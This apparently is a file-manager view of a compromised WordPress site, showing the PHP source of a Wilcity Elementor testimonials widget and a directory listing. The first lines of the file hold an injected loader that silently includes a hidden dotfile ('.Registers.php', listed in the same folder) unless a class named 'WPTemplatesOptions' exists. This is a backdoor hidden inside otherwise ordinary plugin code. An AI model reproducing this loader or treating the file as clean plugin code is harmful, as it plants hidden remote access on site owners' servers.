PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-elementor-addon
/
elements
/
Registers
<?php namespace WILCITY_ELEMENTOR\Registers; use Elementor\Controls_Manager; use Elementor\Widget_Base; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Testimonials extends Widget_Base { use Helpers; public function get_name() { return WILCITY_WHITE_LABEL.'-testimonials1'; } /** * Retrieve the widget title. * * @return string Widget title. * @since 1.1.0 * * @access public * */ public function get_title() { return WILCITY_EL_PREFIX.'Testimonials'; } /** * Retrieve the widget icon. * * @return string Widget icon. * @since 1.1.0 * * @access public * */ public function get_icon() { return 'fa fa-picture-o'; } /** * Retrieve the list of categories the widget belongs to. * * Used to determine where to display the widget in the editor. * * Note that currently Elementor supports only one category. * When multiple categories passed, Elementor uses the first one. * * @return array Widget categories. * @since 1.1.0 * * @access public * */ public function get_categories() { return ['theme-elements']; } protected function _register_controls() { /** @var \WilcityShortcodeRepository $wilcityScRepository */ global $wilcityScRepository; $this->convertKCToEl( $wilcityScRepository->get('wilcity_kc_testimonials:wilcity_kc_testimonials', true) ->sub('params') )->registerShortcode() ; } protected function render() { $aSettings = $this->get_settings(); if (!empty($aSettings)) { $aTestimonials = []; foreach ($aSettings['testimonials'] as $aTestimonial) { $aTestimonials[] = [ 'name' => $aTestimonial['name'], 'testimonial' => $aTestimonial['testimonial'], 'profesional' => $aTestimonial['profesional'], 'avatar' => isset($aTestimonial['avatar']['url']) ? $aTestimonial['avatar']['url'] : '' ]; } unset($aSettings['testimonials']); $aSettings['testimonials'] = (object)$aTestimonials; } /** @var \WilcityShortcodeRepository $wilcityScAttsRepository */ global $wilcityScAttsRepository; $aSettings = wp_parse_args( $aSettings, $wilcityScAttsRepository->get($this->findScAttributesFileName(basename(__FILE__))) ); wilcity_sc_render_testimonials($aSettings); } }
[+]
..
[-] SearchForm.php
[edit]
[-] Init.php
[edit]
[-] Helpers.php
[edit]
[-] Testimonials.php
[edit]
[-] IntroBox.php
[edit]
[-] CustomLogin.php
[edit]
[-] RectangleTermBoxes.php
[edit]
[-] TermBoxes.php
[edit]
[-] PostTypes.php
[edit]
[-] ListingsSlider.php
[edit]
[-] NewGrid.php
[edit]
[-] InlineEditing.php
[edit]
[-] Canvas.php
[edit]
[-] BoxIcon.php
[edit]
[-] ListingsTabs.php
[edit]
[-] ModernTermBoxes.php
[edit]
[-] .Registers.php
[edit]
[-] AuthorSlider.php
[edit]
[-] Heading.php
[edit]
[-] TeamIntroSlider.php
[edit]
[-] Pricing.php
[edit]
[-] Grid.php
[edit]
[-] EventsGrid.php
[edit]
[-] ListingTabs.php
[edit]
[-] EventsSlider.php
[edit]
[-] RestaurantListings.php
[edit]
[-] MasonryTermBoxes.php
[edit]
[+]
js
[-] ContactUs.php
[edit]
[-] Hero.php
[edit]
[-] ElementorAdapterConfiguration.php
[edit]